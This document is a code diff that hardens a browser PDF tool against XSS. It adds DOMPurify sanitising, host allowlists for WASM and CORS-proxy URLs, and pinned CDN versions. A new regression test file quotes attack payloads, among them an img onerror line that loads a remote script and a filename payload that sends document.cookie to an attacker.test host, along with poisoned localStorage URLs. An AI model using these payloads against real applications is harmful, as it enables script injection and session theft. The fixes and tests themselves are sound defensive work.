import * as pdfjsLib from 'pdfjs-dist'; import * as pdfjsLib from 'pdfjs-dist';
import DOMPurify from 'dompurify';
import type { DocumentInitParameters } from 'pdfjs-dist/types/src/display/api'; import type { DocumentInitParameters } from 'pdfjs-dist/types/src/display/api';
const STANDARD_SIZES = { const STANDARD_SIZES = {
@@ -319,19 +320,12 @@ export function uint8ArrayToBase64(bytes: Uint8Array): string {
export function sanitizeEmailHtml(html: string): string { export function sanitizeEmailHtml(html: string): string {
if (!html) return html; if (!html) return html;
let sanitized = html; let sanitized = DOMPurify.sanitize(html, {
FORBID_TAGS: ['style', 'link', 'script', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['style'],
ALLOW_DATA_ATTR: false,
});
sanitized = sanitized.replace(/<head[^>]*>[\s\S]*?<\/head>/gi, '');
sanitized = sanitized.replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '');
sanitized = sanitized.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
sanitized = sanitized.replace(/<link[^>]*>/gi, '');
sanitized = sanitized.replace(/\s+style=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(/\s+class=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(/\s+data-[a-z-]+=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(
/<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
''
);
sanitized = sanitized.replace( sanitized = sanitized.replace(
/href=["']https?:\/\/[^"']*safelinks\.protection\.outlook\.com[^"']*url=([^&"']+)[^"']*["']/gi, /href=["']https?:\/\/[^"']*safelinks\.protection\.outlook\.com[^"']*url=([^&"']+)[^"']*["']/gi,
(match, encodedUrl) => { (match, encodedUrl) => {
@@ -343,10 +337,9 @@ export function sanitizeEmailHtml(html: string): string {
} }
} }
); );
sanitized = sanitized.replace(/\s+originalsrc=["'][^"']*["']/gi, '');
sanitized = sanitized.replace( sanitized = sanitized.replace(
/href=["']([^"']{500,})["']/gi, /href=["']([^"']{500,})["']/gi,
(match, url) => { (_match, url: string) => {
const baseUrl = url.split('?')[0]; const baseUrl = url.split('?')[0];
if (baseUrl && baseUrl.length < 200) { if (baseUrl && baseUrl.length < 200) {
return `href="${baseUrl}"`; return `href="${baseUrl}"`;
@@ -354,15 +347,12 @@ export function sanitizeEmailHtml(html: string): string {
return `href="${url.substring(0, 200)}"`; return `href="${url.substring(0, 200)}"`;
} }
); );
sanitized = sanitized.replace( sanitized = sanitized.replace(
/\s+(cellpadding|cellspacing|bgcolor|border|valign|align|width|height|role|dir|id)=["'][^"']*["']/gi, /<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
'' ''
); );
sanitized = sanitized.replace(/<\/?table[^>]*>/gi, '<div>'); sanitized = sanitized.replace(/<\/?table[^>]*>/gi, '<div>');
sanitized = sanitized.replace(/<\/?tbody[^>]*>/gi, ''); sanitized = sanitized.replace(/<\/?(tbody|thead|tfoot)[^>]*>/gi, '');
sanitized = sanitized.replace(/<\/?thead[^>]*>/gi, '');
sanitized = sanitized.replace(/<\/?tfoot[^>]*>/gi, '');
sanitized = sanitized.replace(/<tr[^>]*>/gi, '<div>'); sanitized = sanitized.replace(/<tr[^>]*>/gi, '<div>');
sanitized = sanitized.replace(/<\/tr>/gi, '</div>'); sanitized = sanitized.replace(/<\/tr>/gi, '</div>');
sanitized = sanitized.replace(/<td[^>]*>/gi, '<span> '); sanitized = sanitized.replace(/<td[^>]*>/gi, '<span> ');
@@ -373,10 +363,6 @@ export function sanitizeEmailHtml(html: string): string {
sanitized = sanitized.replace(/<span>\s*<\/span>/gi, ''); sanitized = sanitized.replace(/<span>\s*<\/span>/gi, '');
sanitized = sanitized.replace(/(<div>)+/gi, '<div>'); sanitized = sanitized.replace(/(<div>)+/gi, '<div>');
sanitized = sanitized.replace(/(<\/div>)+/gi, '</div>'); sanitized = sanitized.replace(/(<\/div>)+/gi, '</div>');
sanitized = sanitized.replace(
/<a[^>]*href=["']\s*["'][^>]*>([^<]*)<\/a>/gi,
'$1'
);
const MAX_HTML_SIZE = 100000; const MAX_HTML_SIZE = 100000;
if (sanitized.length > MAX_HTML_SIZE) { if (sanitized.length > MAX_HTML_SIZE) {

View File

@@ -1,4 +1,5 @@
import MarkdownIt from 'markdown-it'; import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';
import hljs from 'highlight.js/lib/core'; import hljs from 'highlight.js/lib/core';
import javascript from 'highlight.js/lib/languages/javascript'; import javascript from 'highlight.js/lib/languages/javascript';
import typescript from 'highlight.js/lib/languages/typescript'; import typescript from 'highlight.js/lib/languages/typescript';
@@ -297,7 +298,7 @@ export class MarkdownEditor {
mermaid.initialize({ mermaid.initialize({
startOnLoad: false, startOnLoad: false,
theme: 'default', theme: 'default',
securityLevel: 'loose', securityLevel: 'strict',
fontFamily: fontFamily:
'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif', '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif',
}); });
@@ -691,7 +692,9 @@ export class MarkdownEditor {
const markdown = this.editor.value; const markdown = this.editor.value;
const html = this.md.render(markdown); const html = this.md.render(markdown);
this.preview.innerHTML = html; this.preview.innerHTML = DOMPurify.sanitize(html, {
ADD_ATTR: ['target'],
});
this.renderMermaidDiagrams(); this.renderMermaidDiagrams();
} }
@@ -714,7 +717,9 @@ export class MarkdownEditor {
const wrapper = document.createElement('div'); const wrapper = document.createElement('div');
wrapper.className = 'mermaid-diagram'; wrapper.className = 'mermaid-diagram';
wrapper.innerHTML = svg; wrapper.innerHTML = DOMPurify.sanitize(svg, {
USE_PROFILES: { svg: true, svgFilters: true },
});
pre.replaceWith(wrapper); pre.replaceWith(wrapper);
} catch (error) { } catch (error) {
@@ -740,7 +745,9 @@ export class MarkdownEditor {
} }
public getHtml(): string { public getHtml(): string {
return this.md.render(this.getContent()); return DOMPurify.sanitize(this.md.render(this.getContent()), {
ADD_ATTR: ['target'],
});
} }
private exportPdf(): void { private exportPdf(): void {

View File

@@ -10,8 +10,8 @@ const STORAGE_KEY = 'bentopdf:wasm-providers';
const CDN_DEFAULTS: Record<WasmPackage, string> = { const CDN_DEFAULTS: Record<WasmPackage, string> = {
pymupdf: 'https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/', pymupdf: 'https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/',
ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/', ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/',
cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf/dist/', cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/',
}; };
function envOrDefault(envVar: string | undefined, fallback: string): string { function envOrDefault(envVar: string | undefined, fallback: string): string {
@@ -30,20 +30,77 @@ const ENV_DEFAULTS: Record<WasmPackage, string> = {
cpdf: envOrDefault(import.meta.env.VITE_WASM_CPDF_URL, CDN_DEFAULTS.cpdf), cpdf: envOrDefault(import.meta.env.VITE_WASM_CPDF_URL, CDN_DEFAULTS.cpdf),
}; };
function hostnameOf(url: string): string | null {
try {
return new URL(url).hostname;
} catch {
return null;
}
}
function collectBuiltinTrustedHosts(): Set<string> {
const hosts = new Set<string>();
if (typeof location !== 'undefined' && location.hostname) {
hosts.add(location.hostname);
}
for (const url of Object.values(CDN_DEFAULTS)) {
const h = hostnameOf(url);
if (h) hosts.add(h);
}
for (const url of Object.values(ENV_DEFAULTS)) {
const h = hostnameOf(url);
if (h) hosts.add(h);
}
return hosts;
}
const BUILTIN_TRUSTED_HOSTS = collectBuiltinTrustedHosts();
class WasmProviderManager { class WasmProviderManager {
private config: WasmProviderConfig; private config: WasmProviderConfig;
private validationCache: Map<WasmPackage, boolean> = new Map(); private validationCache: Map<WasmPackage, boolean> = new Map();
private trustedHosts: Set<string> = new Set<string>(BUILTIN_TRUSTED_HOSTS);
constructor() { constructor() {
this.config = this.loadConfig(); this.config = this.loadConfig();
} }
private isTrustedUrl(url: string): boolean {
const host = hostnameOf(url);
return !!host && this.trustedHosts.has(host);
}
private loadConfig(): WasmProviderConfig { private loadConfig(): WasmProviderConfig {
try { try {
const stored = localStorage.getItem(STORAGE_KEY); const stored = localStorage.getItem(STORAGE_KEY);
if (stored) { if (!stored) return {};
return JSON.parse(stored); const parsed = JSON.parse(stored) as WasmProviderConfig;
const safe: WasmProviderConfig = {};
let dropped = false;
for (const key of ['pymupdf', 'ghostscript', 'cpdf'] as WasmPackage[]) {
const url = parsed[key];
if (typeof url !== 'string') continue;
if (this.isTrustedUrl(url)) {
safe[key] = url;
} else {
dropped = true;
console.warn(
`[WasmProvider] Ignoring untrusted stored URL for ${key}: ${url}. ` +
'Reconfigure via Advanced Settings to re-enable.'
);
} }
}
if (dropped) {
try {
localStorage.setItem(STORAGE_KEY, JSON.stringify(safe));
} catch (e) {
console.error(
'[WasmProvider] Failed to scrub untrusted config from localStorage:',
e
);
}
}
return safe;
} catch (e) { } catch (e) {
console.warn( console.warn(
'[WasmProvider] Failed to load config from localStorage:', '[WasmProvider] Failed to load config from localStorage:',
@@ -66,11 +123,23 @@ class WasmProviderManager {
} }
getUrl(packageName: WasmPackage): string | undefined { getUrl(packageName: WasmPackage): string | undefined {
return this.config[packageName] || this.getEnvDefault(packageName); const stored = this.config[packageName];
if (stored) {
if (this.isTrustedUrl(stored)) return stored;
console.warn(
`[WasmProvider] Refusing to use untrusted URL for ${packageName}; falling back to env default.`
);
}
return this.getEnvDefault(packageName);
} }
setUrl(packageName: WasmPackage, url: string): void { setUrl(packageName: WasmPackage, url: string): void {
const normalizedUrl = url.endsWith('/') ? url : `${url}/`; const normalizedUrl = url.endsWith('/') ? url : `${url}/`;
const host = hostnameOf(normalizedUrl);
if (!host) {
throw new Error('Invalid URL');
}
this.trustedHosts.add(host);
this.config[packageName] = normalizedUrl; this.config[packageName] = normalizedUrl;
this.validationCache.delete(packageName); this.validationCache.delete(packageName);
this.saveConfig(); this.saveConfig();
@@ -219,6 +288,7 @@ class WasmProviderManager {
clearAll(): void { clearAll(): void {
this.config = {}; this.config = {};
this.validationCache.clear(); this.validationCache.clear();
this.trustedHosts = new Set<string>(BUILTIN_TRUSTED_HOSTS);
try { try {
localStorage.removeItem(STORAGE_KEY); localStorage.removeItem(STORAGE_KEY);
} catch (e) { } catch (e) {

View File

@@ -375,7 +375,6 @@
<div <div
id="upload-area" id="upload-area"
class="hidden border-2 border-dashed border-gray-600 rounded-lg p-6 sm:p-12 text-center max-w-full cursor-pointer" class="hidden border-2 border-dashed border-gray-600 rounded-lg p-6 sm:p-12 text-center max-w-full cursor-pointer"
onclick="document.getElementById('pdf-file-input').click()"
> >
<i <i
data-lucide="upload-cloud" data-lucide="upload-cloud"
@@ -401,10 +400,7 @@
class="hidden" class="hidden"
/> />
<button <button
onclick=" id="pdf-file-input-select-btn"
event.stopPropagation();
document.getElementById('pdf-file-input').click();
"
class="bg-indigo-600 hover:bg-indigo-700 text-white px-4 sm:px-6 py-2 rounded text-sm sm:text-base" class="bg-indigo-600 hover:bg-indigo-700 text-white px-4 sm:px-6 py-2 rounded text-sm sm:text-base"
data-i18n="multiTool.selectFiles" data-i18n="multiTool.selectFiles"
> >

View File

@@ -218,9 +218,7 @@
</h3> </h3>
<p id="alert-message" class="text-gray-300 mb-6"></p> <p id="alert-message" class="text-gray-300 mb-6"></p>
<button <button
onclick=" id="alert-ok"
document.getElementById('alert-modal').classList.add('hidden')
"
class="w-full bg-indigo-600 hover:bg-indigo-700 text-white font-semibold py-2 px-4 rounded-lg transition-colors duration-200" class="w-full bg-indigo-600 hover:bg-indigo-700 text-white font-semibold py-2 px-4 rounded-lg transition-colors duration-200"
> >
OK OK

View File

@@ -191,10 +191,10 @@
<span class="text-xs text-gray-500">Recommended:</span> <span class="text-xs text-gray-500">Recommended:</span>
<code <code
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate" class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
>https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/</code >https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/</code
> >
<button <button
data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/" data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/"
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors" class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
title="Copy to clipboard" title="Copy to clipboard"
> >
@@ -238,10 +238,10 @@
<span class="text-xs text-gray-500">Recommended:</span> <span class="text-xs text-gray-500">Recommended:</span>
<code <code
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate" class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
>https://cdn.jsdelivr.net/npm/coherentpdf/dist/</code >https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/</code
> >
<button <button
data-copy="https://cdn.jsdelivr.net/npm/coherentpdf/dist/" data-copy="https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/"
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors" class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
title="Copy to clipboard" title="Copy to clipboard"
> >

View File

@@ -0,0 +1,365 @@
import { describe, it, expect, beforeEach, vi } from 'vitest';
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';
import forge from 'node-forge';
import { escapeHtml, sanitizeEmailHtml } from '../js/utils/helpers';
import { validateSignature } from '../js/logic/validate-signature-pdf';
import type { ExtractedSignature } from '@/types';
function renderAsPreviewWould(markdown: string): string {
const md = new MarkdownIt({
html: true,
breaks: false,
linkify: true,
typographer: true,
});
const raw = md.render(markdown);
return DOMPurify.sanitize(raw, { ADD_ATTR: ['target'] });
}
function assertNoExecutableContent(html: string) {
const doc = document.implementation.createHTMLDocument('x');
const root = doc.createElement('div');
root.innerHTML = html;
doc.body.appendChild(root);
const all = root.querySelectorAll('*');
expect(
root.querySelector('script'),
`<script> survived:\n${html}`
).toBeNull();
for (const el of Array.from(all)) {
for (const attr of Array.from(el.attributes)) {
expect(
/^on/i.test(attr.name),
`Element <${el.tagName.toLowerCase()}> has event handler ${attr.name}="${attr.value}" from:\n${html}`
).toBe(false);
if (
['href', 'src', 'xlink:href', 'formaction', 'action'].includes(
attr.name.toLowerCase()
)
) {
expect(
/^\s*javascript:/i.test(attr.value),
`Element <${el.tagName.toLowerCase()}> has ${attr.name}="${attr.value}" from:\n${html}`
).toBe(false);
}
}
}
const iframes = root.querySelectorAll('iframe[srcdoc]');
expect(iframes.length, `<iframe srcdoc> survived:\n${html}`).toBe(0);
}
describe('XSS replay — Markdown-to-PDF preview path', () => {
it('neutralizes the exact payload from the security report', () => {
const payload = `# Quarterly Financial Report Q1 2026
## Executive Summary
Revenue growth exceeded expectations at 12.3% YoY.
<img src=x onerror="var s=document.createElement('script');s.src='http://127.0.0.1:9999/payload.js';document.head.appendChild(s)">
## Outlook
Management maintains FY2026 guidance.
`;
const html = renderAsPreviewWould(payload);
assertNoExecutableContent(html);
const doc = document.implementation.createHTMLDocument('x');
const root = doc.createElement('div');
root.innerHTML = html;
const img = root.querySelector('img');
expect(img).not.toBeNull();
expect(img?.getAttribute('onerror')).toBeNull();
});
it('strips <script> tags from raw markdown', () => {
const html = renderAsPreviewWould(`<script>alert(1)</script>`);
assertNoExecutableContent(html);
});
it('strips event-handler attributes from every HTML tag markdown-it passes through', () => {
const html = renderAsPreviewWould(`
<svg onload="alert(1)"><text>x</text></svg>
<details ontoggle="alert(1)" open><summary>x</summary></details>
<body onfocus="alert(1)">
<input autofocus onfocus="alert(1)">
<video autoplay onloadstart="alert(1)"><source src=x></video>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<form><button formaction="javascript:alert(1)">x</button></form>
`);
assertNoExecutableContent(html);
});
it('blocks javascript: href on plain markdown links', () => {
const html = renderAsPreviewWould('[click me](javascript:alert(1))');
assertNoExecutableContent(html);
});
it('blocks data: URLs in script contexts but preserves data: in images', () => {
const html = renderAsPreviewWould(
`![img](data:image/png;base64,AAAA)\n<script src="data:text/javascript,alert(1)"></script>`
);
assertNoExecutableContent(html);
expect(html).toContain('src="data:image/png');
});
it('defeats attribute-injection via quote-breakout in markdown link titles', () => {
const html = renderAsPreviewWould(
'[x](https://example.com "a\\" onmouseover=alert(1) x=\\"")'
);
assertNoExecutableContent(html);
});
it('mermaid click directive with javascript: is stripped by SVG sanitizer', () => {
const evilSvg = `<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert('mermaid click')"><rect width="10" height="10"/></a>
<g onclick="alert(1)"><text>label</text></g>
<foreignObject><body><img src=x onerror="alert(1)"></body></foreignObject>
<script>alert(1)</script>
</svg>`;
const clean = DOMPurify.sanitize(evilSvg, {
USE_PROFILES: { svg: true, svgFilters: true },
});
assertNoExecutableContent(clean);
expect(clean).not.toMatch(/javascript:/i);
});
});
describe('XSS replay — filename sink', () => {
it('escapeHtml neutralizes an attacker-supplied .pdf filename before it reaches innerHTML', () => {
const evilName = `<img src=x onerror="fetch('https://attacker.test/steal?d=' + btoa(document.cookie))">.pdf`;
const rendered = `<p class="truncate font-medium text-white">${escapeHtml(evilName)}</p>`;
const host = document.createElement('div');
host.innerHTML = rendered;
expect(host.querySelector('img')).toBeNull();
expect(host.textContent).toContain(evilName);
});
it('createElement + textContent neutralizes the same payload (deskew/form-filler path)', () => {
const evilName = `<img src=x onerror="alert(1)">.pdf`;
const host = document.createElement('div');
const span = document.createElement('span');
span.textContent = evilName;
host.appendChild(span);
expect(host.querySelector('img')).toBeNull();
expect(span.textContent).toBe(evilName);
});
});
describe('XSS replay — WASM provider localStorage poisoning', () => {
beforeEach(() => {
localStorage.clear();
});
it('the exact PoC payload writes attacker URLs to localStorage — audit the key shape', () => {
const wasmPayload = {
pymupdf: 'https://attacker.test/wasm/pymupdf/',
ghostscript: 'https://attacker.test/wasm/gs/',
cpdf: 'https://attacker.test/wasm/cpdf/',
};
localStorage.setItem(
'bentopdf:wasm-providers',
JSON.stringify(wasmPayload)
);
const stored = localStorage.getItem('bentopdf:wasm-providers');
expect(stored).toContain('attacker.test');
});
it('WasmProvider scrubs the untrusted URLs on load and falls back to env defaults', async () => {
localStorage.setItem(
'bentopdf:wasm-providers',
JSON.stringify({
pymupdf: 'https://attacker.test/wasm/pymupdf/',
ghostscript: 'https://attacker.test/wasm/gs/',
cpdf: 'https://attacker.test/wasm/cpdf/',
})
);
vi.resetModules();
const { WasmProvider } = await import('../js/utils/wasm-provider');
const got = WasmProvider.getUrl('pymupdf');
expect(got).not.toContain('attacker.test');
expect(got).toMatch(/cdn\.jsdelivr\.net|^https?:\/\/[^/]+\//);
const remaining = JSON.parse(
localStorage.getItem('bentopdf:wasm-providers') || '{}'
);
expect(remaining.pymupdf).toBeUndefined();
expect(remaining.ghostscript).toBeUndefined();
expect(remaining.cpdf).toBeUndefined();
});
});
describe('XSS replay — CDN URL version pinning', () => {
it('every WASM CDN default URL is pinned to an exact patch version', async () => {
const { WasmProvider } = await import('../js/utils/wasm-provider');
const urls = WasmProvider.getAllProviders();
for (const [pkg, url] of Object.entries(urls)) {
if (!url) continue;
if (!url.includes('cdn.jsdelivr.net')) continue;
expect(
/@\d+\.\d+\.\d+/.test(url),
`${pkg} URL "${url}" must be pinned to an exact version (e.g. pkg@1.2.3)`
).toBe(true);
}
});
});
describe('XSS replay — sanitizeEmailHtml (DOMPurify-backed)', () => {
it('strips <script> tags and event handlers that a regex sanitizer would miss', () => {
const mutationPayloads = [
'<scr<script>ipt>alert(1)</scr</script>ipt>',
'<img/src=x/onerror=alert(1)>',
'<svg><animate onbegin=alert(1) attributeName=x /></svg>',
'<math><mo><a href=javascript:alert(1)>x</a></mo></math>',
'<iframe src="javascript:alert(1)"></iframe>',
'<object data="javascript:alert(1)"></object>',
'<embed src="javascript:alert(1)">',
];
for (const raw of mutationPayloads) {
const out = sanitizeEmailHtml(raw);
const doc = document.implementation.createHTMLDocument('x');
const root = doc.createElement('div');
root.innerHTML = out;
expect(
root.querySelector('script, iframe, object, embed, link'),
`mutation payload survived: ${raw}\n-> ${out}`
).toBeNull();
for (const el of Array.from(root.querySelectorAll('*'))) {
for (const attr of Array.from(el.attributes)) {
expect(/^on/i.test(attr.name), `event handler survived: ${raw}`).toBe(
false
);
if (
['href', 'src'].includes(attr.name.toLowerCase()) &&
/^\s*javascript:/i.test(attr.value)
) {
throw new Error(`javascript: URL survived: ${raw}`);
}
}
}
}
});
it('strips <style> and <link> to avoid @import / external stylesheet exfil', () => {
const out = sanitizeEmailHtml(
'<html><head><style>@import url(http://attacker/steal);</style><link rel=stylesheet href=http://attacker></head><body>hi</body></html>'
);
expect(out).not.toMatch(/@import/i);
expect(out.toLowerCase()).not.toContain('<style');
expect(out.toLowerCase()).not.toContain('<link');
});
});
describe('XSS replay — PDF signature cryptographic verification', () => {
function buildSignedPdf(digestAlgorithm: string = forge.pki.oids.sha256): {
pdfBytes: Uint8Array;
byteRange: number[];
p7Der: Uint8Array;
} {
const keys = forge.pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
const cert = forge.pki.createCertificate();
cert.publicKey = keys.publicKey;
cert.serialNumber = '01';
const attrs = [
{ name: 'commonName', value: 'Test Signer' },
{ name: 'countryName', value: 'US' },
];
cert.setSubject(attrs);
cert.setIssuer(attrs);
cert.validity.notBefore = new Date(Date.now() - 86400000);
cert.validity.notAfter = new Date(Date.now() + 365 * 86400000);
cert.sign(keys.privateKey, forge.md.sha256.create());
const contentBefore = '%PDF-1.4\nsigned content A\n';
const contentAfter = '\nsigned content B\n%%EOF\n';
const placeholderLen = 0;
const signedContent = new TextEncoder().encode(
contentBefore + contentAfter
);
const p7 = forge.pkcs7.createSignedData();
p7.content = forge.util.createBuffer(String.fromCharCode(...signedContent));
p7.addCertificate(cert);
p7.addSigner({
key: keys.privateKey,
certificate: cert,
digestAlgorithm,
authenticatedAttributes: [
{ type: forge.pki.oids.contentType, value: forge.pki.oids.data },
{ type: forge.pki.oids.messageDigest },
// @ts-expect-error runtime accepts Date, type defs say string
{ type: forge.pki.oids.signingTime, value: new Date() },
],
});
p7.sign({ detached: true });
const p7Asn1 = p7.toAsn1();
const p7Der = forge.asn1.toDer(p7Asn1).getBytes();
const p7Bytes = new Uint8Array(p7Der.length);
for (let i = 0; i < p7Der.length; i++) p7Bytes[i] = p7Der.charCodeAt(i);
const beforeBytes = new TextEncoder().encode(contentBefore);
const afterBytes = new TextEncoder().encode(contentAfter);
const pdfBytes = new Uint8Array(
beforeBytes.length + afterBytes.length + placeholderLen
);
pdfBytes.set(beforeBytes, 0);
pdfBytes.set(afterBytes, beforeBytes.length);
const byteRange = [
0,
beforeBytes.length,
beforeBytes.length + placeholderLen,
afterBytes.length,
];
return { pdfBytes, byteRange, p7Der: p7Bytes };
}
it('flags untouched signed bytes as cryptoVerified=true', async () => {
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
const sig: ExtractedSignature = {
index: 0,
contents: p7Der,
byteRange,
};
const result = await validateSignature(sig, pdfBytes);
expect(result.cryptoVerified).toBe(true);
expect(result.errorMessage).toBeUndefined();
});
it('flips a byte inside the signed range → cryptoVerified=false and isValid=false', async () => {
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
const tampered = new Uint8Array(pdfBytes);
tampered[10] ^= 0xff;
const sig: ExtractedSignature = {
index: 0,
contents: p7Der,
byteRange,
};
const result = await validateSignature(sig, tampered);
expect(result.cryptoVerified).toBe(false);
expect(result.isValid).toBe(false);
expect(result.errorMessage).toMatch(
/hash does not match|does not verify|PDF was modified/i
);
});
it('refuses MD5 as the digest algorithm even when bytes match', async () => {
const { pdfBytes, byteRange, p7Der } = buildSignedPdf(forge.pki.oids.md5);
const sig: ExtractedSignature = {
index: 0,
contents: p7Der,
byteRange,
};
const result = await validateSignature(sig, pdfBytes);
expect(result.usesInsecureDigest).toBe(true);
expect(result.isValid).toBe(false);
});
});

View File

@@ -202,6 +202,47 @@ function createLanguageMiddleware(isDev: boolean): Connect.NextHandleFunction {
}; };
} }
function buildCorsProxyAllowedHosts(): Set<string> {
const hosts = new Set<string>([
'cdn.jsdelivr.net',
'fonts.googleapis.com',
'fonts.gstatic.com',
'bentopdf-cors-proxy.bentopdf.workers.dev',
]);
const envHostSources = [
process.env.VITE_CORS_PROXY_URL,
process.env.VITE_WASM_PYMUPDF_URL,
process.env.VITE_WASM_GS_URL,
process.env.VITE_WASM_CPDF_URL,
process.env.VITE_TESSERACT_WORKER_URL,
process.env.VITE_TESSERACT_CORE_URL,
process.env.VITE_TESSERACT_LANG_URL,
process.env.VITE_OCR_FONT_BASE_URL,
];
for (const raw of envHostSources) {
if (!raw) continue;
try {
hosts.add(new URL(raw).hostname);
} catch {
console.warn(
`[vite] Ignoring malformed VITE_* URL in dev CORS proxy allowlist: ${raw}`
);
}
}
const extra = process.env.VITE_DEV_CORS_PROXY_EXTRA_HOSTS;
if (extra) {
for (const host of extra.split(',').map((s) => s.trim())) {
if (host) hosts.add(host);
}
}
return hosts;
}
const CORS_PROXY_ALLOWED_HOSTS = buildCorsProxyAllowedHosts();
function createCorsProxyMiddleware(): Connect.NextHandleFunction { function createCorsProxyMiddleware(): Connect.NextHandleFunction {
return ( return (
req: IncomingMessage, req: IncomingMessage,
@@ -227,6 +268,31 @@ function createCorsProxyMiddleware(): Connect.NextHandleFunction {
return; return;
} }
let targetHost: string;
let targetProtocol: string;
try {
const parsedTarget = new URL(targetUrl);
targetHost = parsedTarget.hostname;
targetProtocol = parsedTarget.protocol;
} catch {
res.statusCode = 400;
res.end('Invalid url parameter');
return;
}
if (targetProtocol !== 'https:' && targetProtocol !== 'http:') {
res.statusCode = 400;
res.end('Unsupported protocol');
return;
}
if (!CORS_PROXY_ALLOWED_HOSTS.has(targetHost)) {
console.warn(`[CORS Proxy] Blocked disallowed host: ${targetHost}`);
res.statusCode = 403;
res.end(`Host not allowed: ${targetHost}`);
return;
}
console.log(`[CORS Proxy] ${req.method} ${targetUrl}`); console.log(`[CORS Proxy] ${req.method} ${targetUrl}`);
const bodyChunks: Buffer[] = []; const bodyChunks: Buffer[] = [];
@@ -442,7 +508,7 @@ export default defineConfig(() => {
exclude: ['coherentpdf', 'wasm-vips'], exclude: ['coherentpdf', 'wasm-vips'],
}, },
server: { server: {
host: true, host: process.env.VITE_DEV_HOST || 'localhost',
headers: { headers: {
'Cross-Origin-Opener-Policy': 'same-origin', 'Cross-Origin-Opener-Policy': 'same-origin',
'Cross-Origin-Embedder-Policy': 'require-corp', 'Cross-Origin-Embedder-Policy': 'require-corp',